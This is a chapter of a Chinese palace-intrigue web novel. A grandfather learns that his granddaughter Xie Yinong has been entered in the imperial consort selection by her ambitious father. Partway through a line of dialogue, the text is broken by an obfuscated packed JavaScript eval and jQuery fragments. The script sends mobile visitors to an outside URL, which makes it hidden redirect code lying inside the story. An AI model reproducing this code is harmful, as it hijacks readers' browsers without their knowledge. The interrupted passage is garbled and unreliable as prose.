2. 第 2 章

作品:《娘娘她圣眷正浓

    谢宜浓颔首:“好。”


    “我这就去端来。”闻言,青瓷眉开眼笑,转身跑了出去。


    谢宜浓冲她的背影喊了句:“记得分两盏,多加点冰。天气燥热,你也喝一些。”


    青瓷:“晓得了。”


    待青瓷的身影消失在视野之中,谢宜浓也收起了刻意显露出来的欢快,神色恹恹。


    她早就注意到了青瓷这几日时不时流露出来的自责情绪,她也尽可能的不再青瓷面前表露的太多。可今日的这场噩梦,让她把坏情绪全部暴露在青瓷面前。


    很快,谢宜浓调整好情绪,从摇椅上起身。


    她才梳洗完,耳畔传来轻快的脚步声,青瓷很快折返回来。


    她端着托盘,上面放着一大一小两盏梅子汤。每盏梅子汤里都放着两块晶莹剔透的冰块。


    主仆二人围坐在圆桌上,一人抱着一盏冰凉可口的梅子汤。


    汤匙搅动冰块,冰块撞上碗盏内壁,发出一连串的叮当脆响。冰镇过的梅子汤酸甜可口,还不腻人,很适合炎夏饮用。


    咕嘟咕嘟——


    一口下去,很是满足。


    谢宜浓喟叹:“好喝。你的手艺越来越好了。”


    青瓷:“小姐喜欢就好。”


    谢宜浓又喝了一口,问:“这梅子汤还有吗?我想给外祖父也送去一盏。”


    青瓷眉眼弯弯,咽下口中的汤水的同时,含糊开口:“有的。”


    “你向来比我周到。”谢宜浓眸中笑意渐深。


    主仆二人相谈甚欢,完全没有注意到,一墙之隔的蜿蜒小径上,有一前一后两道佝偻身影正逐渐走近。


    来人是李嘉栋和他的老管家。


    一个时辰前,两封京城的来信被送至李府门房。


    在李清秋去世之前,凡是京城来信,十封有九封都是她写的。还有一封,是谢康宓客套且疏离的寒暄。


    李清秋去世后,谢康宓给他写了最后一封信。


    信上说,国不可一日无君,府上不可一日无主母。故而,他扶正了府上一名妾室。信上还说,他的新主母性情温和,必不会让谢宜浓受委屈,让他放心便是。


    可新主母上位没多久,谢宜浓就被欺负得在府上毫无立足之地,只好下江南陪他。


    当然了,这是后话。


    李嘉栋收到这封信时,李清秋去世还不到一年。


    他想在回信上破口大骂,又担心他的举动给谢宜浓带去麻烦,只好隐忍下来。最后生生把自己气病,养了好一段时间才恢复。


    他没有回信,谢康宓也没有再写来新的信件。


    如今,是李清秋去世后,他送来江南的第二封。


    谢宜浓初到江南,他也只是托人送了句简短的口信,要她替母尽孝,但务必行事稳妥,不可堕了谢氏门楣的名声。


    除此之外,谢康宓一封信都没有送来过。


    他的心里,怕是早已没了李清秋母女的位置。


    李嘉栋捏着管家林叔递过来的两封信,面色不善。


    看到信封上分别写着【老泰山李嘉栋敬启】、【不孝女谢宜浓亲启】,李嘉栋的火气噌一下冒了出来。


    他并没有选择第一时间去打开。‘啪’一声闷响,两封信件被他扔到了面前的桌案上。


    随即,他指着那两封书信,破口大骂:“狂妄竖子,王八羔子。”


    李嘉栋的视线落在了写给谢宜浓的那封信上。看着极为醒目的‘不孝女’三个大字,咬牙切齿地低骂道:“不孝?呵,父慈子才孝。你也有脸说小浓不孝。”


    随后,他又把视线转到另外一封信上。


    “老泰山就老泰山,至于把老子的名字也写上去吗?你以为在信封上写个敬启就是真的尊敬了吗?直呼长辈名讳,我看你才是不孝。张狂小儿。”


    “朝廷真是瞎了眼,竟让你这般忘恩负义的小人坐上首辅之位。”


    林叔躬身在一旁候着,被他家老爷这句话吓得冷汗涔涔。同时,又忍不住暗暗腹诽:他家老爷好似把桌案上的那两封信当成了远在京城的谢家姑爷。


    他知道,自他家小姐成婚后不久谢康宓就纳了一名妾室起,他家老爷就对谢康宓心生不满。


    小姐去世后,情绪剧烈转变,不满变成怨怼。


    不过碍于谢康宓的官身和谢宜浓的存在,老爷选择将这些坏情绪独自消化,并没有做出什么对谢康宓不利的事情。


    以往,也只是偶尔吃醉了酒,控制不住思绪的情况下,他家老爷才会破口大骂谢康宓。


    可今日,他家老爷也太莽撞了些,竟敢对朝廷有怨怼之言。


    他身为李家忠仆,和李家同气连枝,自然不会把今日这番言论泄露出去。可府里其他人,可就不一定了。


    林叔刻意把声音压得很低:“老爷,隔墙有耳。这些话,万万不可再说了啊。若是传出去,咱们可是要掉脑袋的。”


    李嘉栋闻言,声音骤息。


    一时间,厅内只能听见两道轻重不一的呼吸声。


    半晌,李嘉栋泄了气,一边嘟囔,一边拿起给他的那封信:“我自己的姑爷,我骂两句都不行了。”


    读完信的一瞬间,李嘉栋三两下把信纸揉成团,恨得咬牙切齿:“我就知道,谢康宓那个狗东西不安好心,为了他的首辅之位,竟然要把自己的女儿送去皇宫。”


    一行清泪从眼角涌出,李嘉栋抬袖擦拭,低声叹道:“那可是个兵不血刃的虎狼窝啊。小浓她这么单纯,连嫡母的磋磨都难以应付,又如何能够适应皇宫里的生活。”


    林叔也跟着红了眼圈,提议道:“老爷,不然我们在江南给小姐订下亲事?”


    李嘉栋思考了一会儿,摇摇头:“不妥。你我都是行将就木的老家伙了,又能护她到几时呢?更何况,我只是个空有两个臭钱的商人,无权无势,最多能够让她没有钱财上的忧虑。除此之外,我并不能给她什么倚仗。”


    “就像当年,谢康宓看上我的女儿,我没有能力拒绝,只能眼睁睁看着他们成婚。如今,他下定决心要把我女儿的女儿送去皇宫,我依旧没有能力阻止。”


    “无论如何,她姓谢,始终是要回到她那个父亲身边去的。”


    李嘉栋的声音越来越低,话语间满是无奈:“最重要的是,谢康宓那个王八羔子已经把谢宜浓的名字报到今年进宫选秀的名单里了。她若是不按时归京,那可是欺君之罪啊。”


    一声长叹后,李嘉栋调整好自己的情绪:“打水吧,我要洗脸。”


    林叔当即吩咐人打来水,服侍他洗完脸后,两人浩浩荡荡往谢宜浓的小院走去。


    庭院里,两道身影逐渐走近。


    “小浓,外祖父来了。”


    人未到,声先至。


    谢宜浓惊喜叹了句:“外祖父来了。”


    随即,和青瓷先后站起身,出门去迎,却被外面的热浪吹得皱起了眉。


    “外祖父,林叔,你们怎么这时候过来了?”


    她连忙搀着李嘉栋进了房间,转头吩咐青瓷:“青瓷,取两盏梅子引来,让外祖父和林叔消消暑。记得不要加冰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315489|182974||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    块,免得吃坏了肚子。”


    青瓷应下,快步走出去。


    谢宜浓引着李嘉栋坐下,又从一旁拿了团扇,在李嘉栋身旁的凳子坐下,轻晃手腕,阵阵凉风打到李嘉栋面上。


    谢宜浓乖巧问:“外祖父,有没有觉得凉快一些?风力要不要再大一点?”


    “小一些,再小一些。外祖父的胡子都乱了。”


    李嘉栋抬手,把随风乱飞的胡子捋顺,笑得眼睛都眯成了一条线,像寺庙里的弥勒佛一样。


    谢宜浓:“好嘞。那我扇慢一些。”


    看着谢宜浓笑意盈盈的乖顺模样,李嘉栋脑海中忽然浮现出一句话:一入宫门深似海。


    也是这时,他才后知后觉意识到:此时此刻的天伦之乐,或许是他这辈子最后一次享受到了。


    不等他伤怀,青瓷端着托盘走了进来。两盏梅子汤,一盏放到了李嘉栋面前,另一盏则递到了林叔手上。


    眼看着,祖孙二人分别在即,李嘉栋同样不想在谢宜浓面前流露出哪怕一丁点的负面情绪,笑意盈盈。


    “外祖父,林叔,你们快尝尝,青瓷煮得梅子汤可好喝了,酸甜可口,实乃消暑良品。”谢宜浓这一通夸奖下来,青瓷被臊得面颊通红,羞涩站到了一旁。


    诚如谢宜浓方才所言,一碗清凉可口的梅子汤,蓄在心头的燥热去了一半。


    李嘉栋意味深长的目光落在谢宜浓身上,显然是有话要说。


    谢宜浓最先察觉,给青瓷递了一个眼神。青瓷会意,把四人刚用过的碗盏收到托盘,率先走了出去。


    林叔紧随其后。


    他走到门外,亲自关上门,以防祖孙二人的谈话被其他人听去的同时,禁止任何人靠近。


    一时间,房间内只余下祖孙二人。


    谢宜浓心里隐隐生出几分不安,却仍然面带笑意,问:“外祖父可是有话要对我说?”


    话音未落,一封书信被李嘉栋从宽袖里拿出,递到了她的手上。


    “小浓,京城来信了。”


    他的声音艰涩,甚至还带着一抹连他自己都没有察觉到的哽咽。谢宜浓抬眸,一眼撞进外祖父那双饱含不舍的浑浊眼睛里。


    谢宜浓心里的不安加剧了——心脏扑通扑通跳动着,脸上的笑意逐渐变得勉强。


    “信上说什么?莫不是父亲要我归京?”她问。


    她其实一直有这个准备。


    眼看着,她已经到了成婚的年纪,无论是那位已经入了后宫的长姐,还是那位喜好钻营算计的继母,亦或是她那位官拜首辅的父亲,都不会放任她继续在江南待下去的。


    只要她还姓谢,她们、亦或是他,一定会对她物尽其用的。


    可真到了这一日,谢宜浓的心里依旧不好受。如果她回到京城,江南就又只剩下外祖父一个人了。好不容易,他才重新有了生的意志,若她此番归京,祖父是否又会一蹶不振?


    她正想着,耳畔忽然传来一声低沉且无奈的叹息。


    “不止。”


    “你父亲把你的名字报在了今年秀女的名单里。”


    “选秀?入宫?”她面色苍白低喃了一句,却无人应。


    这一刻,李嘉栋垂下满是自责的眸子,生怕从她的眼睛里看到失望。身为长辈,护不住子女,那就是他的失职。


    纵他知道,以谢宜浓的性情,断不会这样想。


    可他过不了自己心里那一关。


    一时间,满室阒静。


    谢宜浓知道,再没有任何人,能够改变这一切了。